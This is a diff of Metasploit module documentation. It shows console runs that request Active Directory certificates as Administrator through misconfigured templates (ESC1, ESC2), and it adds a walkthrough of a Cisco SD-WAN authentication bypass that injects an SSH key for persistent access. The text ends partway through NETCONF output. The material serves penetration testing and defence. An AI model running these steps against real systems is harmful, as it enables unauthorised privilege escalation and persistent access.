+   UserAgent                Mozilla/5.0 (Macintosh; Intel Mac  no        The User-Agent header to use for all requests
+                             OS X 10_15_7) AppleWebKit/537.36
+                             (KHTML, like Gecko) Chrome/131.0
+                            .0.0 Safari/537.36
+   VERBOSE                  false                              no        Enable detailed status messages
+   WORKSPACE                                                   no        Specify the workspace for this module
+
+
+   When HTTP::Auth is kerberos:
+
+   Name                            Current Setting                 Required  Description
+   ----                            ---------------                 --------  -----------
+   DomainControllerRhost           10.5.132.180                    no        The resolvable rhost for the Domain Controller
+   HTTP::Krb5Ccname                                                no        The ccache file to use for kerberos authentication
+   HTTP::KrbOfferedEncryptionType  AES256,AES128,RC4-HMAC,DES-CBC  yes       Kerberos encryption types to offer
+   s                               -MD5,DES3-CBC-SHA1
+   HTTP::Rhostname                 WIN-DRC9HCDIMAT                 no        The rhostname which is required for kerberos - the SPN
+   KrbCacheMode                    read-write                      yes       Kerberos ticket cache storage mode (Accepted: none, re
+                                                                             ad-only, write-only, read-write)
+
+
+View the full module info with the info, or info -d command.
+
+msf auxiliary(admin/http/web_enrollment_cert) > run
+[*] Retrieving available template list, this may take a few minutes
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143502_default_10.5.132.180_mit.kerberos.cca_557407.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143502_default_10.5.132.180_mit.kerberos.cca_545138.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[*] ***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***
+[+] Available Certificates for  on : User, EFS, Administrator, EFSRecovery, ESC16_1, ESC2-Template, WebServer, SubCA, ESC1-Template
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143520_default_10.5.132.180_mit.kerberos.cca_606180.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143520_default_10.5.132.180_mit.kerberos.cca_023162.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate generated using template User and 
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143537_default_10.5.132.180_mit.kerberos.cca_548243.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143537_default_10.5.132.180_mit.kerberos.cca_843349.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate for  using template User saved to /home/tmoose/.msf4/loot/20260116143538_default_10.5.132.180_windows.ad.cs_760252.pfx
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143541_default_10.5.132.180_mit.kerberos.cca_236912.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143541_default_10.5.132.180_mit.kerberos.cca_237890.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate generated using template EFS and 
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143543_default_10.5.132.180_mit.kerberos.cca_360144.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143543_default_10.5.132.180_mit.kerberos.cca_009299.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate for  using template EFS saved to /home/tmoose/.msf4/loot/20260116143544_default_10.5.132.180_windows.ad.cs_150360.pfx
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143546_default_10.5.132.180_mit.kerberos.cca_444407.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143547_default_10.5.132.180_mit.kerberos.cca_460069.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate generated using template Administrator and 
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143548_default_10.5.132.180_mit.kerberos.cca_941754.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143549_default_10.5.132.180_mit.kerberos.cca_484741.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate for  using template Administrator saved to /home/tmoose/.msf4/loot/20260116143549_default_10.5.132.180_windows.ad.cs_088506.pfx
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143552_default_10.5.132.180_mit.kerberos.cca_665940.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143552_default_10.5.132.180_mit.kerberos.cca_324874.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate generated using template EFSRecovery and 
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143554_default_10.5.132.180_mit.kerberos.cca_559229.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143554_default_10.5.132.180_mit.kerberos.cca_295382.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate for  using template EFSRecovery saved to /home/tmoose/.msf4/loot/20260116143554_default_10.5.132.180_windows.ad.cs_477946.pfx
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143556_default_10.5.132.180_mit.kerberos.cca_645978.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143557_default_10.5.132.180_mit.kerberos.cca_838211.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate generated using template ESC16_1 and 
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143558_default_10.5.132.180_mit.kerberos.cca_485891.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143559_default_10.5.132.180_mit.kerberos.cca_709913.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate for  using template ESC16_1 saved to /home/tmoose/.msf4/loot/20260116143559_default_10.5.132.180_windows.ad.cs_818976.pfx
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143601_default_10.5.132.180_mit.kerberos.cca_952232.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143601_default_10.5.132.180_mit.kerberos.cca_169000.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate generated using template ESC2-Template and 
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143603_default_10.5.132.180_mit.kerberos.cca_042983.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143603_default_10.5.132.180_mit.kerberos.cca_512322.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate for  using template ESC2-Template saved to /home/tmoose/.msf4/loot/20260116143604_default_10.5.132.180_windows.ad.cs_206522.pfx
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143607_default_10.5.132.180_mit.kerberos.cca_893032.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143607_default_10.5.132.180_mit.kerberos.cca_156631.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate generated using template WebServer and 
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143608_default_10.5.132.180_mit.kerberos.cca_982799.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143609_default_10.5.132.180_mit.kerberos.cca_247412.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate for  using template WebServer saved to /home/tmoose/.msf4/loot/20260116143609_default_10.5.132.180_windows.ad.cs_955795.pfx
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143612_default_10.5.132.180_mit.kerberos.cca_119902.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143613_default_10.5.132.180_mit.kerberos.cca_847610.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate generated using template SubCA and 
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143614_default_10.5.132.180_mit.kerberos.cca_417480.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143615_default_10.5.132.180_mit.kerberos.cca_766015.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate for  using template SubCA saved to /home/tmoose/.msf4/loot/20260116143615_default_10.5.132.180_windows.ad.cs_888697.pfx
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143617_default_10.5.132.180_mit.kerberos.cca_866496.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143617_default_10.5.132.180_mit.kerberos.cca_528295.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate generated using template ESC1-Template and 
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143619_default_10.5.132.180_mit.kerberos.cca_103101.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143619_default_10.5.132.180_mit.kerberos.cca_871753.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate for  using template ESC1-Template saved to /home/tmoose/.msf4/loot/20260116143620_default_10.5.132.180_windows.ad.cs_135453.pfx
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+msf auxiliary(admin/http/web_enrollment_cert) > 
+
+```
+
+# Kerberos, ESC1
+```msf
+msf auxiliary(admin/http/web_enrollment_cert) > set MODE QUERY_ONLY 
+MODE => QUERY_ONLY
+msf auxiliary(admin/http/web_enrollment_cert) > run
+[*] Retrieving available template list, this may take a few minutes
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144412_default_10.5.132.180_mit.kerberos.cca_605997.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144413_default_10.5.132.180_mit.kerberos.cca_011223.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[*] ***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***
+[+] Available Certificates for  on : User, EFS, Administrator, EFSRecovery, ESC16_1, ESC2-Template, WebServer, SubCA, ESC1-Template
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+msf auxiliary(admin/http/web_enrollment_cert) > set httpusername msfuser
+httpusername => msfuser
+msf auxiliary(admin/http/web_enrollment_cert) > set httppassword v3Mpassword
+httppassword => v3Mpassword
+msf auxiliary(admin/http/web_enrollment_cert) > set mode SPECIFIC_TEMPLATE 
+mode => SPECIFIC_TEMPLATE
+msf auxiliary(admin/http/web_enrollment_cert) > set cert_template ESC1-Template
+cert_template => ESC1-Template
+msf auxiliary(admin/http/web_enrollment_cert) > set ALT_UPN Administrator@example.com
+ALT_UPN => Administrator@example.com
+msf auxiliary(admin/http/web_enrollment_cert) > run
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144915_default_10.5.132.180_mit.kerberos.cca_142147.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144915_default_10.5.132.180_mit.kerberos.cca_645508.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate generated using template ESC1-Template and 
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144917_default_10.5.132.180_mit.kerberos.cca_079562.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144917_default_10.5.132.180_mit.kerberos.cca_912221.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate for  using template ESC1-Template saved to /home/tmoose/.msf4/loot/20260116144918_default_10.5.132.180_windows.ad.cs_076676.pfx
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+msf auxiliary(admin/http/web_enrollment_cert) > 
+
+
+```
+
+# Kerberos, ESC2
+```msf
+msf auxiliary(admin/http/web_enrollment_cert) > show options
+
+Module options (auxiliary/admin/http/web_enrollment_cert):
+
+   Name          Current Setting            Required  Description
+   ----          ---------------            --------  -----------
+   ALT_DNS                                  no        Alternative certificate DNS
+   ALT_SID                                  no        Alternative object SID
+   ALT_UPN       Administrator@example.com  no        Alternative certificate UPN (format: USER@DOMAIN)
+   HttpPassword  v3Mpassword                no        The HTTP password to specify for authentication
+   HttpUsername  msfuser                    no        The HTTP username to specify for authentication
+   MODE          SPECIFIC_TEMPLATE          yes       The issue mode. (Accepted: ALL, QUERY_ONLY, SPECIFIC_TEMPLATE)
+   ON_BEHALF_OF                             no        Username to request on behalf of (format: DOMAIN\USER)
+   PFX                                      no        Certificate to request on behalf of
+   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxi
+                                                      es: socks5h, sapni, socks4, http, socks5
+   RHOSTS        10.5.132.180               yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/bas
+                                                      ics/using-metasploit.html
+   RPORT         80                         yes       The target port (TCP)
+   SSL           false                      no        Negotiate SSL/TLS for outgoing connections
+   TARGETURI     /certsrv/                  yes       The URI for the cert server.
+   THREADS       1                          yes       The number of concurrent threads (max one per host)
+   VHOST                                    no        HTTP server virtual host
+
+
+   When MODE is SPECIFIC_TEMPLATE:
+
+   Name           Current Setting  Required  Description
+   ----           ---------------  --------  -----------
+   CERT_TEMPLATE  ESC1-Template    no        The template to issue if MODE is SPECIFIC_TEMPLATE.
+
+
+View the full module info with the info, or info -d command.
+
+msf auxiliary(admin/http/web_enrollment_cert) > set CERT_TEMPLATE User
+CERT_TEMPLATE => User
+msf auxiliary(admin/http/web_enrollment_cert) > unset ALT_UPN 
+Unsetting ALT_UPN...
+msf auxiliary(admin/http/web_enrollment_cert) > run
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150908_default_10.5.132.180_mit.kerberos.cca_798433.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150908_default_10.5.132.180_mit.kerberos.cca_355039.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate generated using template User and 
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150910_default_10.5.132.180_mit.kerberos.cca_649135.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150910_default_10.5.132.180_mit.kerberos.cca_950645.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate for  using template User saved to /home/tmoose/.msf4/loot/20260116150911_default_10.5.132.180_windows.ad.cs_854591.pfx
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+msf auxiliary(admin/http/web_enrollment_cert) > set PFX /home/tmoose/.msf4/loot/20260116150911_default_10.5.132.180_windows.ad.cs_854591.pfx
+PFX => /home/tmoose/.msf4/loot/20260116150911_default_10.5.132.180_windows.ad.cs_854591.pfx
+msf auxiliary(admin/http/web_enrollment_cert) > set ON_BEHALF_OF EXAMPLE\\Administrator
+ON_BEHALF_OF => EXAMPLE\Administrator
+msf auxiliary(admin/http/web_enrollment_cert) > set cert_template User
+cert_template => User
+msf auxiliary(admin/http/web_enrollment_cert) > run
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151145_default_10.5.132.180_mit.kerberos.cca_970115.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151145_default_10.5.132.180_mit.kerberos.cca_854009.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate generated using template User and 
+[+] 10.5.132.180:88 - Received a valid TGT-Response
+[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151147_default_10.5.132.180_mit.kerberos.cca_332600.bin
+[+] 10.5.132.180:88 - Received a valid TGS-Response
+[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151147_default_10.5.132.180_mit.kerberos.cca_241072.bin
+[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
+[+] Certificate for  using template User saved to /home/tmoose/.msf4/loot/20260116151147_default_10.5.132.180_windows.ad.cs_115992.pfx
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+msf auxiliary(admin/http/web_enrollment_cert) > 
+
+
+
+
+```
+

documentation/modules/auxiliary/admin/mssql/mssql_exec.md

@@ -21,7 +21,7 @@ technique leverages the [`sp_OACreate`][2] stored procedure to create an instanc
 
 ## Verification Steps
 
-1. Do: `use use admin/mssql/mssql_exec`
+1. Do: `use admin/mssql/mssql_exec`
 2. Do: `set USERNAME [username1]`
 3. Do: `set PASSWORD [password1]`
 3. Do: `set TECHNIQUE sp_oacreate` (optional, defaults to xp_cmdshell)
@@ -32,7 +32,7 @@ technique leverages the [`sp_OACreate`][2] stored procedure to create an instanc
 ## Scenarios
 
 ```
-msf > use use use admin/mssql/mssql_exec
+msf > use admin/mssql/mssql_exec
 msf auxiliary(mssql_exec) > set USERNAME username1
 USERNAME => username1
 msf auxiliary(mssql_exec) > set PASSWORD password1

documentation/modules/auxiliary/admin/networking/cisco_sdwan_auth_bypass.md

@@ -0,0 +1,207 @@
+## Vulnerable Application
+
+This module exploits CVE-2026-20127, an authentication bypass vulnerability in the Cisco Catalyst SD-WAN Controller
+(vSmart). The vulnerability exists in the vdaemon DTLS control-plane service running on UDP port 12346.
+
+The vdaemon service fails to properly validate the `verify_status` byte in `CHALLENGE_ACK_ACK` (msg_type=10) messages.
+The `vbond_proc_challenge_ack_ack()` handler reads an attacker-controlled `verify_status` byte from the message body and,
+if non-zero, sets the peer's authenticated flag to 1. Furthermore, the authentication gate in `vbond_proc_msg()` exempts
+msg_type=10 from authentication checks, allowing an unauthenticated peer to send this message.
+
+An attacker can:
+1. Connect via DTLS 1.2 using a self-signed certificate (the server performs no certificate validation at the handshake stage)
+2. Skip the `CHALLENGE_ACK` step entirely
+3. Send a forged `CHALLENGE_ACK_ACK` message with `verify_status=1` to become a trusted peer without any legitimate credentials
+
+Once authenticated, the module leverages a `VMANAGE_TO_PEER` message to inject an SSH public key into the
+`/home/vmanage-admin/.ssh/authorized_keys` file, providing persistent SSH access to the controller's NETCONF service
+on port 830.
+
+### Affected Versions
+
+The vulnerability affects Cisco Catalyst SD-WAN Controller (vSmart) versions prior to the patches released in February 2026.
+Consult [Cisco's security advisory](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa-EHchtZk)
+for a complete list of affected versions and patches.
+
+## Verification Steps
+
+1. Start `msfconsole`
+2. `use auxiliary/admin/networking/cisco_sdwan_auth_bypass`
+3. `set RHOST <target_ip>`
+4. Optionally, `set DOMAIN_ID <domain_id>` and `set SITE_ID <site_id>` if you know the target's SD-WAN topology
+5. `check` to verify the target is vulnerable
+6. `run` to exploit the vulnerability and inject an SSH public key
+7. Use the generated SSH private key to connect to the NETCONF service: `ssh -i <key_path> vmanage-admin@<target_ip> -p 830`
+
+## Options
+
+### DOMAIN_ID
+
+The SD-WAN domain ID to use in protocol messages. Default: `1`.
+
+This value must match the domain ID configured on the target controller. In most deployments, the default value of 1
+is used. If you receive a `TEAR_DOWN` message after sending `Hello`, try adjusting this value.
+
+### SITE_ID
+
+The SD-WAN site ID to use in protocol messages. Default: `100`.
+
+This value identifies the site in the SD-WAN topology. The default value should work in most cases, but if the exploit
+fails, you may need to adjust this based on knowledge of the target's SD-WAN configuration.
+
+### SSH_PUBLIC_KEY_FILE
+
+Path to an existing SSH public key file (in OpenSSH format) to inject into the controller.
+
+If not set, the module will automatically generate a new RSA 2048-bit SSH keypair. Using an existing key can be useful
+if you want to maintain access using a key you already control.
+
+## Scenarios
+
+### Cisco Catalyst SD-WAN Controller 20.15.3 (Default Configuration)
+
+In this scenario, we target a vSmart controller with default settings. The module automatically generates an SSH keypair
+and injects the public key.
+
+```
+msf auxiliary(admin/networking/cisco_sdwan_auth_bypass) > show options 
+
+Module options (auxiliary/admin/networking/cisco_sdwan_auth_bypass):
+
+   Name                 Current Setting  Required  Description
+   ----                 ---------------  --------  -----------
+   DOMAIN_ID            1                yes       SD-WAN domain ID
+   RHOSTS               192.168.86.166   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
+                                                   metasploit.html
+   RPORT                12346            yes       The target port (UDP)
+   SITE_ID              100              yes       SD-WAN site ID
+   SSH_PUBLIC_KEY_FILE                   no        Path to an existing SSH public key file to inject
+
+
+View the full module info with the info, or info -d command.
+
+msf auxiliary(admin/networking/cisco_sdwan_auth_bypass) > check
+[+] 192.168.86.166:12346 - The target is vulnerable. Authentication bypass succeeded - server accepted forged CHALLENGE_ACK_ACK
+msf auxiliary(admin/networking/cisco_sdwan_auth_bypass) > run
+[*] Running module against 192.168.86.166
+[*] Phase 1: DTLS handshake with self-signed certificate
+[*] DTLS handshake succeeded (self-signed cert accepted)
+[*] Phase 2: Waiting for CHALLENGE from server
+[*] CHALLENGE received (580 bytes of challenge data)
+[*] Phase 3: Sending CHALLENGE_ACK_ACK with verify_status=1
+[*] Server Hello received
+[*] Phase 4: Sending Hello as authenticated peer
+[*] Hello response received - we are now a trusted peer
+[*] Phase 5: SSH key injection into vmanage-admin authorized_keys
+[*] Generating RSA 2048-bit SSH keypair
+[*] SSH private key saved to loot: /home/sfewer/.msf4/loot/20260326150429_default_192.168.86.166_cisco.sdwan.sshk_366073.pem
+[+] Connect to NETCONF via:
+chmod 600 /home/sfewer/.msf4/loot/20260326150429_default_192.168.86.166_cisco.sdwan.sshk_366073.pem
+ssh -i /home/sfewer/.msf4/loot/20260326150429_default_192.168.86.166_cisco.sdwan.sshk_366073.pem vmanage-admin@192.168.86.166 -p 830
+[*] Server responded with: REGISTER_TO_VMANAGE (key has been injected)
+[+] Authentication bypass and SSH key injection completed!
+[*] Auxiliary module execution completed
+msf auxiliary(admin/networking/cisco_sdwan_auth_bypass) >
+
+```
+
+Now we can use the generated SSH key to access the NETCONF service:
+
+```console
+sfewer@sfewer-ubuntu-vm:~$ chmod 600 /home/sfewer/.msf4/loot/20260326150429_default_192.168.86.166_cisco.sdwan.sshk_366073.pem
+sfewer@sfewer-ubuntu-vm:~$ ssh -i /home/sfewer/.msf4/loot/20260326150429_default_192.168.86.166_cisco.sdwan.sshk_366073.pem vmanage-admin@192.168.86.166 -p 830
+viptela 20.15.3 
+
+<?xml version="1.0" encoding="UTF-8"?>
+<hello xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">
+<capabilities>
+<capability>urn:ietf:params:netconf:base:1.0</capability>
+<capability>urn:ietf:params:netconf:base:1.1</capability>
+<capability>urn:ietf:params:netconf:capability:confirmed-commit:1.1</capability>
+<capability>urn:ietf:params:netconf:capability:confirmed-commit:1.0</capability>
+<capability>urn:ietf:params:netconf:capability:candidate:1.0</capability>
+<capability>urn:ietf:params:netconf:capability:rollback-on-error:1.0</capability>
+<capability>urn:ietf:params:netconf:capability:url:1.0?scheme=ftp,sftp,file</capability>
+<capability>urn:ietf:params:netconf:capability:validate:1.0</capability>
+<capability>urn:ietf:params:netconf:capability:validate:1.1</capability>
+<capability>urn:ietf:params:netconf:capability:xpath:1.0</capability>
+<capability>urn:ietf:params:netconf:capability:notification:1.0</capability>
+<capability>urn:ietf:params:netconf:capability:interleave:1.0</capability>
+<capability>urn:ietf:params:netconf:capability:partial-lock:1.0</capability>
+<capability>urn:ietf:params:netconf:capability:with-defaults:1.0?basic-mode=trim&amp;also-supported=report-all-tagged,report-all</capability>
+<capability>urn:ietf:params:netconf:capability:with-operational-defaults:1.0?basic-mode=trim&amp;also-supported=report-all-tagged,report-all</capability>
+<capability>urn:ietf:params:netconf:capability:yang-library:1.0?revision=2019-01-04&amp;module-set-id=f1952c280658dd3701add48f1c71cbca</capability>
+<capability>urn:ietf:params:netconf:capability:yang-library:1.1?revision=2019-01-04&amp;content-id=f1952c280658dd3701add48f1c71cbca</capability>
+<capability>http://tail-f.com/ns/netconf/actions/1.0</capability>
+<capability>http://tail-f.com/ns/aaa/1.1?module=tailf-aaa&amp;revision=2023-04-13</capability>
+<capability>http://tail-f.com/ns/common/query?module=tailf-common-query&amp;revision=2017-12-15</capability>
+<capability>http://tail-f.com/ns/confd-progress?module=tailf-confd-progress&amp;revision=2020-06-29</capability>
+<capability>http://tail-f.com/ns/confd_dyncfg/1.0?module=confd_dyncfg&amp;revision=2023-09-29</capability>
+<capability>http://tail-f.com/ns/ietf-subscribed-notifications-deviation?module=ietf-subscribed-notifications-deviation&amp;revision=2020-06-25</capability>
+<capability>http://tail-f.com/ns/ietf-yang-push-deviation?module=ietf-yang-push-deviation</capability>
+<capability>http://tail-f.com/ns/kicker?module=tailf-kicker&amp;revision=2020-11-26</capability>
+<capability>http://tail-f.com/ns/mibs/IPV6-TC/199812010000Z?module=IPV6-TC&amp;revision=1998-12-01</capability>
+<capability>http://tail-f.com/ns/mibs/SNMP-COMMUNITY-MIB/200308060000Z?module=SNMP-COMMUNITY-MIB&amp;revision=2003-08-06</capability>
+<capability>http://tail-f.com/ns/mibs/SNMP-FRAMEWORK-MIB/200210140000Z?module=SNMP-FRAMEWORK-MIB&amp;revision=2002-10-14</capability>
+<capability>http://tail-f.com/ns/mibs/SNMP-MPD-MIB/200210140000Z?module=SNMP-MPD-MIB&amp;revision=2002-10-14</capability>
